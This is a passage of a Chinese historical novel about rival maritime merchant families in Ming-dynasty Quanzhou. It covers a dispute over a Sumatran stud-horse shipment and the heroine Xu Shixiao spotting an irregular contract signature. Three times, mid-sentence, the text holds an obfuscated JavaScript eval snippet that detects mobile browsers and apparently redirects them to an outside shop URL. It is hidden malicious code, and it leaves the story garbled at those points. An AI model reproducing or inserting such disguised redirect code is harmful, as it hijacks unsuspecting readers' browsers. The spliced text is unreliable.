许家则不然，累世经商，嘉靖初年还只守着几家漳绒作坊。 许师孝的曾祖——许懋轩——不甘困于一隅，在西南季风来的那个夏天，打通海上关节，将原本销往内陆的丝绸、漳绒、棉布，运到了月港外海的浯屿岛。 在那里，许懋轩接触到来自“佛郎机”的商人，并以三百匹漳绒、五十担生丝，购得两门佛郎机炮、两箱吕宋白银、一张南洋海图。 凭这些，许家成为了最早去往外海的那批人，也走上了一条船队纵横东、西二洋，跨越几朝的漫长征途。 海风赐予了一切。 到隆庆初，月港码头千帆云集，就连八世十八进士的闽县黄家，也不得不放下身段，与一个走私起家的商户联姻。 刚定亲的那些年，黄祐常不明说，许师孝也能从他几句言语间听得明白—— 他是黄家二房长孙，书香世家长大的公子，心里念的是科考入仕，想娶的，也是与之一路的女子。 下海于他，是后路，绝非首选。 黄家出于大局娶她，不介意她身有残疾，就连她残废后，也时时差人慰问。 最终毁掉这桩婚约的，是八闽商会对许师孝的处置。 商会保留了她“六堂”的名头，却在她养伤的几年里，逐步收走了她手上的船队、海外货栈。 一个无权无势的许六堂，自然再当不得那条“后路”。 黄祐常这时已走入水榭，看了眼人群里的黄道贤，随即又扫向栏边那人。 许师孝坐在那儿，像在出神。 一袭苍青衣袍宽宽荡荡，风来时，衣袂如水波漾开，愈显得身形影影绰绰，透出一股不容轻慢的、海天茫茫的气度。 他道：“六堂，此处临水，风大，可还受得住？” 许师孝回过神，抬眼看他，“有劳挂心，都好。” 黄祐常深望了她一眼，便不再寒暄。 他看向李廷勘，开门见山：“李三爷，苏门答腊的单子，里外行文、契书、货样册，都已备齐，在偏山堂。烦请李三爷移步，你我也好过目定夺。” 李廷勘侧头看他，抬手示意身后部曲退后，袖口暗纹在灯下微闪。 “有劳黄东主周全。” 黄祐常笑道：“生意上的事，早些落定，彼此安心。况且此事涉及大宗南洋货品出入关防、检疫诸项，我已具文报予商会。” 说到这里，他语气略微一顿，眼底笑意更甚，“届时，同炉堂的人会前来勘验。” 同炉堂——四海薪火，同冶一炉。 八闽商会的六堂。 黄道贤闻听此名，心下登时一跳，下意识看向坐着的许师孝。 许师孝神情未变，只垂下了眼眸。 如今的同炉堂，她仅仅是挂名，真正的主事人，是她二哥许仲麟。 许仲麟为人最是记仇，早年在西洋经商，在一桩西洋克拉克船买卖上，与李家起过极大的争端，险些同李家六老爷手下的船队在海门岛附近火并。 到后来，还是许老爷子亲自出面，平息了此事。 如果由他带着同炉堂的人来泉州裁夺，那么李家在苏门答腊运线上的任何纰漏，都将被无限放大。 黄祐常显然已打定了主意，他既然做出选择，便不惧人言，只下意识望了许师孝一眼。 这眼神格外冷冽，以至疏离。 “六堂，”他笑了笑，声音在雨声徐徐传来，“这是黄、李两家生意上的往来，诸多琐碎，不敢劳动。届时场面杂乱，同炉堂的人一到，规矩也多。还望六堂……不必来了。” 话音落，此间天地，霎时沉寂。 只余穿林雨声，沥沥不绝。 许师孝心下渐冷，对上黄祐常的目光，那双曾经或许有过关切的眼眸，此刻已深不见底。 显然，比起如今立场难明的她，黄祐常宁可与她二哥往来互利。 可她二哥许仲麟向来无利不早起，每年东北季风一起，他总要抢在十月初从月港顺风南下。 寻常船队，一年尚能歇上三四个月，许仲麟的船队却近乎终年无休。 此番黄家能说动他搁下西洋生意，来搅这趟浑水，着实不易。 李廷勘看着黄祐常，眼神幽深，“月前‘赫克托号’的火长抄送海况，测算今年的西南季风还要刮上一个多月，许家二爷竟这么快动身回港，真是难得……” 言外之意，你给了多少好处？ 黄祐常坦然回视，笑道：“许二爷提早回来，想来这一趟鱼获颇丰。三爷久留泉州，莫不是眼热了……” 李廷勘也只是笑，扫向水榭栏边的许师孝。 她仍看着黄祐常，一双眼睛黑少白多，目光静静笼去，就像深秋夜里，落在人肩头上的一片月光。 许师孝注视 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17240816|197726||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 黄祐常良久，只道：“我本是闲人，既然二哥愿意来，便不凑这个热闹了。” 黄祐常似早料到许师孝会是这个答复，看向李廷勘，“李三爷，随我来吧。” 黄道贤在旁沉默地听着，心下跟着涌出一丝凉意。 他心凉的是，少东家请来许二爷这件事，竟然从头到尾，都没有对他说过。 李廷勘眸色渐深，摩挲着拇指上的犀角扳指。 他未有挪步，话是对黄祐常说的，余光落在许师孝身上：“黄东主想得周到，可既然是‘同炉堂’的人来，就得按商会的规矩。堂中行事，正主岂有缺席的道理？” 黄祐常没有接话，神色也未有松动。 他当然清楚这规矩，正因为清楚，才选在此时此地，让许师孝自己开口退出。 他扫了一眼栏边的人，语气温然：“一笔写不出两个许字，许二爷亲至，六堂也不会有什么异议吧……” 许师孝目光一凛，沉默地看了他一眼。 “东主此言差矣。” 一个声音接过，竟是黄道贤。 他目光定定，对着黄祐常略一躬身，语气恭敬：“许二爷如今盯着堂中之事不假，可他终究名不正言不顺。再者，许六堂到了堂上，也不过是多备一把椅子的事，又何须多作计较？” 黄祐常缓缓看向黄道贤。 他这位族叔，出身只是旁支，却自幼跟随他父亲，沾上了亲，如今上了年纪，也便倚老卖老，处处与他作对。 “四叔的意思，是我考虑不周了？” “不敢。”黄道贤躬着身：“只是商会六堂，各有分属。许六堂既在场，又担着名，若避席而去，传扬出去，人家八成以为，我们是有意绕过正主，另结关节。” 这番话说得很周全。 黄祐常沉默了片刻。 李廷勘静静看着这对主仆对峙，眸色深了些。 他倒是没想到，黄家人竟会当着外人的面剑拔弩张，不知是许师孝这个人太过特殊，还是他们之间已经生了嫌隙。 风声忽起，暮雨潇潇穿榭而过。 一众侍从手中的伞，都低了几分。 许久，黄祐常抬眸看向许师孝，语气平静：“同炉堂来人那日，烦请移步，人多事杂，难免气闷，许二爷办事雷厉，怕也顾不得周全。” 他把话说得客气，意思却很明白： 你可以来，但不要在场，更不要让许仲麟瞧见你。 许师孝对上他的目光，刚要说什么。 黄祐常不等她的回答，也不想再纠缠此事，看向李廷勘： “李三爷，请。” 两人一前一后，向灯火更明处走去。 脚步声落在雨声里，渐行渐远。 许师孝还坐在栏边，舒了一口气，看向一旁的黄道贤：“黄叔，起吧。” 黄道贤这才缓缓直起身，脸上恭敬的神色未褪，却多了几分复杂：“六堂，方才……失言了。” “不是失言。”许师孝侧脸望向他，“你是实话实说，也是提醒我。” 她如今，只剩个名了。 黄道贤喉头一哽，想说什么，终究化作一声低叹，“少东家他执掌家业不易。海上的局面，一年比一年糟，各家都在寻出路……” “我明白。”许师孝打断了他，“海风往哪儿吹，船就往哪儿走，没人会逆着风行事。” 她微微抬起眼，望向黄祐常和李廷勘离开的方向，灯火在雨雾中亮得刺眼。 5. 对簿 偏山堂内，灯火通明。 正厅开阔，当中拼了两张花梨木大桌，账册、算盘、笔墨砚台依次铺陈开。 七八位账房先生各据一方，一手翻页，一手打算珠，动作急如风雨潇潇。 黄祐常与李廷勘，隔着一张紫檀桌案，分坐左右。 桌上新沏的茶汤已腾起一片热气，却无人去碰。 偏厅与正厅，以一道镂空的紫檀木落地罩相隔，光影疏落。 许师孝的轮椅就停在靠窗的角落。 这里既能避开正厅大部分视线，又能透过花罩间隙，窥见那边晃动的人影。 窗外，雨势渐沥，园中草木沙沙作响。 黄道贤安顿好正厅事宜，便转到偏厅照应。 他亲自给许师孝换了盏热茶，低声安抚道：“六堂稍坐，那边还得一阵子。若有需要，只管吩咐。” 许师孝笑了笑，望着黄道贤，平静开口：“黄叔，我想看看黄家与苏门答腊卖主订立的单子，不是如今这些核算的明细，是盖着双方印鉴、载明条款的那一份草议或正本。” 黄道贤微怔。 单子只作存底凭证，眼下两家的争端，却是查处李家承运马匹的开销去路，有没有把钱花在照料种马上；黄家在将马匹带入山场，到疫马发病的半日里，有无纰漏。 许六堂不看眼前事，却要看最初订立的那张纸……大抵是退而求其次吧。 少东家这个态度，也不会让六堂沾手过多。 他心下叹了一口气，面上不显，只点头：“六堂稍候，我这便差人去账房取。” 说罢，招手唤来一名伶俐的侍从，低声嘱咐了几句。 侍从领命，快步从偏厅侧门退了出去。 只是，偏厅通往账房，需从正厅一侧的回廊绕行。 侍从捧着装有单子的锦匣返回时，就不可避免地要经过正厅门口。 正厅内，黄祐常正听一位老账房低声禀报，忽瞥见了那侍从手中的锦匣，微微蹙眉。 “站住。”他声音不高，却让侍从浑身一僵，躬身立在了门边。 “东家，有何吩咐？” 黄祐常目光扫过锦匣：“取的什么东西？送往何处？” 侍从禀道：“回东家，许六堂想看看与苏门答腊卖主签订的单子，黄掌柜命小的取来。” 话音落，厅内算盘声，似乎滞涩了一瞬。 几位账房先生低眉垂眼，交换了眼神。 李廷勘端起那杯一直未动的茶，撇去浮沫，眼帘微垂，看不出神色。 黄祐常沉默了片刻。 许师孝要看单子……她想看什么？ 是疑心单子本身有蹊跷，还是坐在偏厅，想找回场子？ 黄祐常心下冷嘲，面上仍波澜不兴。 左右眼下的争端，不在单子上。 她要看，就看吧，找点事做，也不至于像先年那样动不动发脾气。 黄祐常想起她发脾气的架势，心下还有余悸。 彼时她刚刚残废，仗着自己有疾，对谁说话都没有好脸色，可怜他还要递拜帖去，流水似地给她送东西。 如今总算是消停了。 “送去罢。”他拿起茶盏，摆了摆手。 侍从如蒙大赦，捧着锦匣匆匆转入偏厅。 许师孝兀自靠在椅背上，扫过案上锦匣，道：“有劳。” “六堂客气。”黄道贤笑了，起身：“你慢慢看，我再去正厅盯着些。” 许师孝看着他，微微颔首。 天光一分一分暗沉下去，雨势未减，更添了绵密的力道。 偏厅角落，灯火已挑亮了一盏。 灯色昏昏，照得纸页泛出了陈年的黄。 许师孝的目光却长久地停留在几处。 要来单子看，倒不是心存疑虑，只是好奇。 许师孝在苏门答腊经营多年，倒是从未听说过种马买卖。 苏门答腊的大宗生意，历来只有三门—— 胡椒种植、锡矿开采和转口贸易。 胡椒种植园在苏门答腊西海岸的巴东、占碑等地，月港的船队到那儿之后，就会雇佣当地土人种植胡椒，再经马六甲海峡运往福建、两广。 这生意做的人最多，即便是散商，也能分一杯羹。 而稍有财力的海商，就会去苏门答腊东海岸的邦加岛，那里是锡矿产区，与当地酋长签订协议后，开采锡锭，销往海内铸钱、制器。 这两宗买卖，许师孝是个中老手，到后来，船队扩张，就改做了转口贸易，来钱更快。 但她倒卖的无非丝绸、瓷器、茶叶。 那都是死物。 活物交易，在海上极为罕见，更何况是七十二匹种马。 苏门答腊的马是矮种马，并不有名，胜在耐热耐潮。 许师孝在经营货栈的时候，也曾买过，只听卖马的人说起，马匹大都产自西部的米南加保高原。 “米南加保……” 她低头抚过那个异邦的花押，眸色渐沉。 · 正厅上，一位黄家的老账房，将手里的紫毫笔搁在笔山上，站起。 “……李三爷，别的暂且不论，单说这活畜水运的笼箱规制。” “商会条例上写得明白：笼高须过马背一掌，长须容马转身，底板用柚木，间距不得宽于马蹄。这是保牲畜海航不致病残的硬规矩。” 他抬起眼，目光如刺：“可据我们查验，上月抵港那批苏门答腊驹子的旧笼，高度堪堪齐马背。笼过低，马长途不能抬头，气血滞塞，易生晕眩窒息，底板间隙，亦有宽于马蹄者，颠簸中海船摇晃，极易伤蹄……这些，李家作何解释？可是在输运途中，为多载马匹，偷减了笼箱尺寸？” 话落，厅内算盘声停了。 众人的目光都落在李廷勘身上。 许师孝也抬起头，隔着镂空的紫檀木看过来。 李廷勘神色不变，端起茶盏又饮了一口，方才放下。 他不看那老掌柜，而是望向主位的黄祐常： “黄东主，商会条例，我李家从不敢忘。但规矩是死的，做事且要活。” 他略一抬手，身后一名随从立刻递上了一本厚厚的日志。 李廷勘将其翻开，递到他面前： “万历七年，六月，南洋飓风季前，运往爪哇的七十二匹滇马，因风浪大，为降重心、稳船身，经双方管事协商，所有笼箱统一降下三寸。” “马匹抵港后查验，无一例眩晕窒息，反而因船行更稳，折损低于往年。” “万历九年，十一月，东南疫病流行后，为防马匹间口沫传播，所有笼箱加设纵向隔板，宽度收窄一尺，但每笼减载一马，并增派照料人手。此事商会亦有备案，那次输运，马匹应激反而更少。” 他说完，扫视黄家众人：“尺寸调整，皆因时、因势而为之。我李家也不至于为省几根木头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17240817|197726||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，砸了招牌。” 那老掌柜面色一僵，还想反驳，黄祐常却在此刻开了口： “敢问李三爷，笼箱尺寸既已裁减，那五千两白银的保金，李家究竟是花在了什么地方？” 众人目光一跳，终于问到了关窍。 李廷勘脸上浮起一丝讥诮。 他缓缓后靠，靠向椅背：“远洋航行，淡水，比黄金更贵。黄东主连这都不明白么？” “每匹南洋马，日饮水定量三桶半，预先加金银花浸液，防瘴气，淡水存于双层柏木仓，每日耗费，亦记录在案——” 他略一偏头，身后侍从走上前捧上一本册子。 册子摊在掌柜面前。 墨色沉静，记录得密密麻麻。 老掌柜心有不忿，盯着那册子看了许久，目光又落在李廷勘身后的阴影里。 他轻声嘀咕，还以为只有自己能听见： “谁知道这些记述，不是你们事先编造，拿来应付的……” 只一句，正厅里的黄祐常尚无反应。 偏厅里，许师孝却已眉头皱起，毯子下的膝盖传来一丝熟悉的滞痛。 黄家大可以质疑李家的舱土、笼箱，却唯独不能质疑淡水一项。 海上缺了淡水，是要死人的。 人先渴死，马随后倒。 柏木仓里的水，人畜都要取用。 “淡水储备不足”这几个字，仅仅是作流言传扬出去，也能将李家累世经营的商路断个七七八八。 果然，李廷勘脸上的血色，在听见那句嘀咕后已褪得干干净净。 他眼帘抬起，烛光直落眼底，却照不进深处，只映出两点淬了冰的亮。 “黄东主。” 李廷勘的声音更平，只是每个字都像从齿缝里磨出来，“您家这位掌柜……是觉着我李廷勘的命贱，还是觉着我李家船上几百号弟兄的命贱？！” 他目光如钩，从老掌柜脸上，一寸寸移到了黄祐常脸上。 “海上没有淡水，就要死人。我泉州李家是穷疯了么？！为了省几桶水，拿几百条人命玩笑！” 话音落，四下再无波澜。 黄道贤额头已见了汗。 他是场面人，知道这话递到这份上，再往下，就不是算盘珠子能拨动的了。 他抢步出来，拱手时袖子都在微颤： “三爷息怒！严老他……他也是为东家尽责，一时心急，口不择言，绝非有意冒犯，更不敢轻贱海上弟兄们的性命！” 他声音又急又恳切，目光却瞥向主位上的黄祐常，指望他能说句话。 黄祐常握着茶盏，这才后知后觉。 海上跑船的人，最重的就是“信”和“命”，严掌柜那一问，是把两样都踩了。 他看了眼李廷勘那副引而不发却煞气逼人的模样，就知道他拿住了这个把柄，如若此刻接话，必要让黄家出血。 许师孝静静听着，本不想着急，但气血不断上涌，一股刺痛，从膝骨缝里钻出来，在骨头上刮过。 她闷哼一声，额头沁出冷汗，眼前景物也晃了一晃。 侍立在身侧的仆役吓了一跳，慌忙低唤：“六堂？” 许师孝闭了闭眼，艰难地忍着，片刻后，眼底只剩一片隐忍的晦暗。 黄家今日准备太过潦草。 好在是两家议事，要让商会的人听见，不知要吃多大的亏。 她摆了摆手，示意无事。 6. 前尘 许师孝生忍着疼，痛感像潮水，一阵缓过，一阵又细细密密地咬上来。 她引而不发，倒是侍从先前的那声惊呼，传到了正厅。 黄祐常此时正不知如何应付局面，听到这一声，目光倏尔怔住。 这动静来得恰是时候。 他脸上适时浮起了一丝关切，转向一旁的长随，声音略扬：“去看看，那边出了什么事。” 这长随本是跟随黄祐常多年的人，此刻对上主子意味深长的目光，即刻点了头。 他悄步过去探看。 许师孝此刻斜倚在椅中，倒没想到，黄祐常在这个时候还会分神留意她的病，不由轻笑一声，心绪霎时纷茫如雨，只道了声无碍。 长随得了话，又自镂空花罩后转出，走回主子身边。 他躬下身低语，声音却足以让近处的李廷勘、黄道贤等人听清： “回东家，许六堂脸色煞白，额头上都是冷汗……像是旧疾复发，小的们正照料着，但这病来势汹汹，许六堂还忍着痛，像是……已经说不出话来。” 长随三分添油加醋，把许师孝描述得重病垂危，像是已到了病入膏肓，身体不堪苦楚，形容狼狈不堪的地步。 李廷勘在袖中的指节，微微曲起。 他蹙眉，目光已转向偏厅，但那里面昏昏的，只点了几根蜡烛，隔着镂空的紫檀木，却什么也看不清。 一时风雨潇潇，心绪纷乱。 他沉默下来，眼底也辨不清是焦灼、懊恼还是别的什么，但先前与黄家对峙时那股锐利逼人的寒气，却为之一敛。 这点细微的变化，也没能逃过黄道贤的眼睛。 他目光忽闪，像暗夜里擦亮了一星火。 这六堂的病，似比眼下的这桩生意，更能牵动李三爷心神？ 黄道贤心下一动，却又不得不敛住声色，缓步上前： “三爷，今日之事，原是我黄家待客不周，议事急切，竟忘了三爷与六堂舟车劳顿，又逢这般天气，潮气侵骨，最耗人精神。” 说罢，他转向黄祐常，言辞恳切：“东家，今日天色已晚，雨势又急，不若暂且议到这里，让三爷和六堂先行歇息。” 黄祐常闻言，顺势颔首，面上的冷硬也缓和了几分：“四叔所言甚是。李三爷，许六堂抱恙，先请回客院安顿，余事改日再议，如何？” 他将话头递了过去，却始终打量着李廷勘的反应。 李廷勘站在那儿，仍旧看着偏厅，眼底翻涌的情绪终于慢慢沉淀下来。 他复又看向黄祐常，声音有些发沉： “黄东主既有此说，李某却之不恭。” · 夜雨未歇，反添了几分绵密。 会馆深处，一座书斋正浸在雨雾与昏灯里。 此处古木掩映，很是僻静。 早年原是安置回港船长的雅舍，此刻则成了许师孝的暂居之所。 李廷勘上了二楼，眼见廊下悬着一双灯笼，在风里轻晃。 许师孝就坐在灯下，面朝着黑沉沉的天地。 他缓步走到她身侧，凭栏而立，“在看什么？” 许师孝抬眸看向他，原不想同他搭话，但思及先前黄祐常搬出许仲麟时，他驳斥了几句，也算是人情： “原是想看港口，但……”什么都没看见。 李廷勘没有接话，转头，远处隐约是泉州城墙，更远处是辽阔的海疆，但夜色如铁、雨幕如墙，把天地都模糊了。 风冷下来，她咳了几声，便吩咐侍从推轮椅离去。 李廷勘兀自站在那里，望着那一片虚无的黑暗，四下空茫。 不多时，身后楼梯口响起一阵脚步声。 淙老就料到他在这里，找了上来，一脸的心事重重。 他一直走到李廷勘身侧，不多犹豫，便开口：“三爷，港口再这般封下去，不是个事啊……” 李廷勘依旧望着夜雨，没有接话。 淙老迟疑片刻，似在斟酌该同他说到几分。 “泉州城里，多少人家靠港口吃饭？船工、引水、搬运、货栈……牵一发，动全身。” 他叹了一口气，声音低了下去，却更显沉重：“如今为着疫马，海防道铁了心封港盘查，一日两日尚可忍一忍，时日一长，港里的船耗不起，家里等米下锅的人更耗不起！” “眼下，还能压得住，久了，人心惶惶。” “潮州帮那些人，本就与我们在西洋航线上争抢多年，岂会放过这个机会？若他们趁机煽动船工闹事，局面就难以收拾了。” 李廷勘微微颔首，仰面道：“我心里有数。” 淙老点点头，知道他心中有数，但仍沉下一口气。 李家与黄家不同。 李家是东道主，为“马疫”封港之举，已被坊间不少人说成是同官府献媚，要停了私海生意，一旦稳不住局势，泉州城里的人闹起来，就是到李家门前去闹。 如果不能尽快把这桩纠葛了结，后果不堪设想。 黄家搬出许仲麟，大抵也是笃定了他们耗不起。 不过说到许仲麟，淙老心底又忍不住忧虑。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17240818|197726||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>他犹豫了一下，终究还是将另一重顾虑说出了口：“三爷既知许二爷会来泉州督查此事，为何还要将六堂带到风口浪尖上？当年那桩旧事……” 话没说尽，他又叹了口气。 当年许师孝刚落下腿疾，八闽商会就有意将其手中船队、海外货栈收走。 可畏其余威，几个月内，忍住不提。 忍到最后，是许家二爷许仲麟亲自开了这个口。 许家人亲自开口，旁人也就没了顾忌，纷纷争抢起来。 但抢到后头，才发觉剩下的是残羹冷炙。 因为许师孝把名下船队都寄在了堂口。 而许仲麟第一个站出来，就是为了占据同炉堂。 同炉堂——四海薪火，同冶一炉。 但其在八闽商会之中，还有另一个说法。 叫作“四海鑫火，同冶一炉”。 同炉堂是月港最大的堂口，扼控九龙江南岸，以容川码头为中枢，水深港阔，每年照船只吨位收取“报水”，年入不下四十万两。 要知，福建省一年的田赋、盐税，全部折银也不过五十万两。 一个海上堂口的“报水”，便能抵得上一省国税。 但这还只是“报水”，不包括自家船队的利润、码头泊仓费和洋市抽成。 利润之丰，寻常的商贾根本无法想象。 海潮带来财富，也带来杀机与淘汰。 淙老长叹一声。 许仲麟身在漳州，觊觎堂口，想必不是一天两天了。 但碍于是自家人，围殴、火并这种他用惯了的手段，不方便用。 而等到许师孝自己残废了，“趁你病，要你命”，就不失为一种体面的做法。 可怜许六堂自幼下海，拼死拼活地在风浪里打滚，才有了那样的地位，十数载工夫，最后竟都为他人做了嫁衣，锥心之痛，不难想见。 廊外的雨声，忽然清晰起来，一声声打在刺桐叶上，也打中了人心。 淙老看着天，眉宇间浮起重重忧色：“这些年，商会里都不让这两人碰面。所以，六堂不在漳州开货栈，反而跑到泉州来。” “这样刻意的避开，就是不想弄得你死我活。” 他说着深吸一口气，望向李廷勘的侧脸：“三爷何苦把她扯到这件事里……岂不是要看着他们兄妹相残！” “淙叔。”李廷勘打断了他，目光比廊外风雨更冷，“三个月前，老爷子同你说过什么话？” 淙老忽地一怔，反应过来，只沉下头，道：“泉州诸事，听任三爷。” 7. 米南加保的卖主 次日晨，雨势未减，白茫茫一片笼着书斋。 许师孝早已醒了，或者说，一夜未安枕。 黄家的合约几度浮现在脑中，南洋硬黄纸，墨色沉黝，条款周正。 可末尾——却是一个朱红的花押和签名。 花押形状椭圆，似一枚压扁的枣核，纹路盘旋向内，像一只拢翅的蝉，这花押的图案就是旁边签名的变体，而签下的人名是——苏丹·玛拉。 一个男名。 这奇怪吗？ 若放在闽粤沿海，在运河埠头，任何一个成年男子签下这样一份买卖牲口的契书，都不奇怪。 可偏偏，那里是米南加保。 米南加保是母系氏族。 “……我们的田、屋，随母亲血脉流传，祖传的宝物、还有那些跑马的‘阿旺’（所有权），在‘布杜’和最年长的‘依布’手里。卖一匹马，没有她们的手印，没有家族‘图阿’，就不能作数……” 照那位南洋马商的话，黄家这笔买卖放在苏门答腊，是断不能成立的。 单子有蹊跷。 更蹊跷的是，八闽商会的“保人”制度落成已有数十年。 此次作保，竟也没有请一些南洋跑船的人验看，以至于留下这么大的漏洞。 是无心之失，还是被人钻了空子？ 许师孝深吸一口气，面色凝重。 黄李两家这场仗势必要打起来，等到许仲麟一到，局面不知乱成什么样。 要查明这些事，动作须快人一步。 她唤人将自己扶到窗边的书案前。 冷风，从窗隙钻入，拂过案上纸张。 许师孝思忖片刻，从笔架上取了一根紫毫。 她在泉州并非没有故旧。 早年与这里的几个大船主都有些交情，这些人大都也还在这个行当里。 但他们身处风口浪尖，关系又盘根错节，难保不将她的话透出去，尤其是透给泉州李家。 所以，要找人探查，还是得找一些从商会退下去、但仍在石湖城、祥芝、澳头几地跑船的老伙计。 思量再三，她拿定了主意，提笔蘸墨、落笔。 字迹力透纸背，清正刚劲，却因手上不稳，笔锋偶见凝滞。 正写到中段，门口传来脚步声，旋即，一股潮润清寒的风卷了进来。 侍从端着托盘进门，上面是清粥小菜并一碟细点，热气袅袅。 “六堂，可要即刻布菜？” 许师孝全神贯注，未曾抬头，只含糊应了一声，“先放着吧。” 她兀自落笔，只听那侍从放下托盘，但似乎并未退下，而是垂手立在一旁，气息落在侧面，存在感异样地强。 许师孝这才从信笺上移开目光，抬起眼。 这一眼，却让她心头猛地一撞。 李廷勘不知何时进来的，悄无声息，就坐在离书案不远的一张太师椅上。 他换了身佛头青的长袍，衬得人越发沉肃，脸上没什么表情，只一双眼睛，沉静无波地望着这边，望着她手下那封信。 许师孝目光一凛，将信纸缓缓拨到旁边，另一只手拿起案头一本翻旧了的《瀛涯胜览》，覆在了信笺上。 动作随意，似乎只是无心之举。 李廷勘的目光，随着那本书的落下，动了动。 他倒没理会，视线从被遮掩的信纸移到许师孝的脸上。 “写的什么？”他道。 许师孝避开他的注视：“没什么，难得来南安这边，一些旧识总要问候。” 她说着往椅背上一靠，看了眼墙角案几上的西洋钟，指针走动，泛起冷光。 竟然才辰时一刻。 她抬眼扫向他：“眼下这个情形，三爷也该避嫌。” 总往她这里凑，免不得教人以为，她同他是一伙的。 李廷勘闻言似是笑了，目光却锐利起来，“听六堂的话头，是打定了主意，要站在黄家人那边？” 许师孝沉吟片刻，这确实是她的打算：“黄家于我有恩义，我既在泉州，断不能袖手，三爷也不必在我这里用功。” “有恩义”，说得倒是冠冕堂皇。 当他好糊弄么？ 当年百戏宴上，几十个昆曲雅部、潮剧班子，一掷千金是为了谁？ 从南洋、东洋搜寻奇花异木，不计成本地运回，在黄家会馆中辟土栽培，又是为了谁？ 李廷勘深望了她一眼，眼底似有愠色翻涌，冷笑道：“你这些年养病，莫非把脑子养坏了？日复一日恬不知耻地贴上去，也不想想昨日，人家都已经把你摘出去了，你却还在这里好赖不分……” 许师孝沉默不言，这番话自是想挑动她与黄家结怨。 昨日黄祐常的话不好听，固然是事实，但他这个人说话一向难听，许师孝是知道的。 黄祐常是黄家二房唯一的孙子，自小要风得风、要雨得雨，说话没有忌讳，话出口了，他心里却未必是这么想的。 更何况黄老太爷病重，恐怕就是这一两年的事了，他心里烦，说话更难有什么分寸。 想到黄老太爷，许师孝眼眶忽热，心下一阵揪痛，这个老人家啊…… “想不想去南洋？” 十四岁的许师孝没听懂。 “船上还有空舱。”黄老太爷眉眼弯弯，下巴朝大船扬了扬，“跟我这糟老头子走一趟，认认那边的门路。” 许师孝耳朵里嗡的一声，像有海潮涌上。 她张着嘴，半天才说出一句：“我……我回去收拾东西。” “去。”黄老爷子笑了，摆摆手，“船不等人，跑快些。” 她转身就跑。 大风扬沙，海潮似在脚下涌过。 跑回来时，她抬头望，离码头仅五十步之遥。 只见黄祐常站在船舱门口，手里攥着一把油纸伞，拖着步子走过去，把伞撑在老太爷头顶，“爷爷，此事不妥。” 黄老爷子转过头看他，“有何不妥？” “我和她……还没有成亲。” 风声浩荡，许师孝的步子缓了下来。 对面也静了一息。 黄老爷子轻笑一声，声音悠扬：“祐常啊，成亲成亲，不是一定要做成亲家，才是亲。” 黄祐常愣住。 “只要两个人的心在一起，不成也亲。”黄老爷子望着海平面，语气温和，“许家姑娘想去南洋跑船，咱们帮她一把——这就是成全亲近之意。” 这趟去南洋的船，是许师孝第一次离开自家商路的远航。 也是这次，老爷子慷慨大方，毫无保留，领她结识了南洋大半的矿商，这才有了她后来拔地而起的海外货栈、七海钱庄。 许师孝忆起往昔，心中对黄祐常的那点怨气，又压了下去。 黄家对她有知遇之恩。 昔年想报答，却受制于商会。 想私下还这个人情，走南闯北又一直没有机会，如今自己沦落得一文不名，又怎能在他们伤处捅刀？ “你这个人一向爱装体面，我懂。” 李廷勘见她久久不接话，眉眼微抬，缓缓靠向椅背，话锋一转，“可当年，许六堂听了不相干的人几句话，就连夜对同宗同源的人动起手来，还真是——一点也不体面。” “李三爷。”许师孝终于忍不住打断，猛地转头看他。 商会早已禁绝此故事，这也敢提，真是疯了…… 李廷勘对上她凄厉的目光，扯出一丝冷笑，仿佛即刻就要撕破脸。 目光交织，雨声更急。 四下间一片嘈嘈切切，风声激荡，瓦屋欲震。 她深吸一口气，极力平复心绪，嗓音有些发涩：“过去的事，我已经答应了李二叔，绝不再提，也请你慎言。” 未待他接话，倏忽移开目光，看向一边大气不敢出的侍从，语气流露出一丝倦意： “布菜吧，粥该凉了。” 侍从本就惴惴不安，得了吩咐，连忙上前，伸手要去端那碗粥。 “放着。” 李廷勘的声音蓦然响起，却比刚才低哑了些。 侍从的手僵在半空。 许师孝也看过来。 只见李廷勘站起身，缓缓走到了桌边。 他挽起袖口，舀了一勺冒着热气的粥，倾入空碗，又执箸拨了小撮清炒的菜，放在粥旁。 这动作有条不紊，甚至称得上细致。 触及禁忌，气氛如意料之中，缓和下来。 许师孝回过神后，只惊诧地看着他手下动作。 她记得这人原是有病的。 少爷病。 如今竟做起这些事来？ 当真是时移世易了…… 她搭在轮椅扶手上的手指，微微攥起，竟有些无所适从。 侍从见菜已布好，便将她的轮椅推到桌边。 许师孝沉着头，尽量不与之对视，拿起调羹时，语气仍透着一股子疏离： “三爷如今身份不同，这般亲力亲为，真是要折煞人了。” 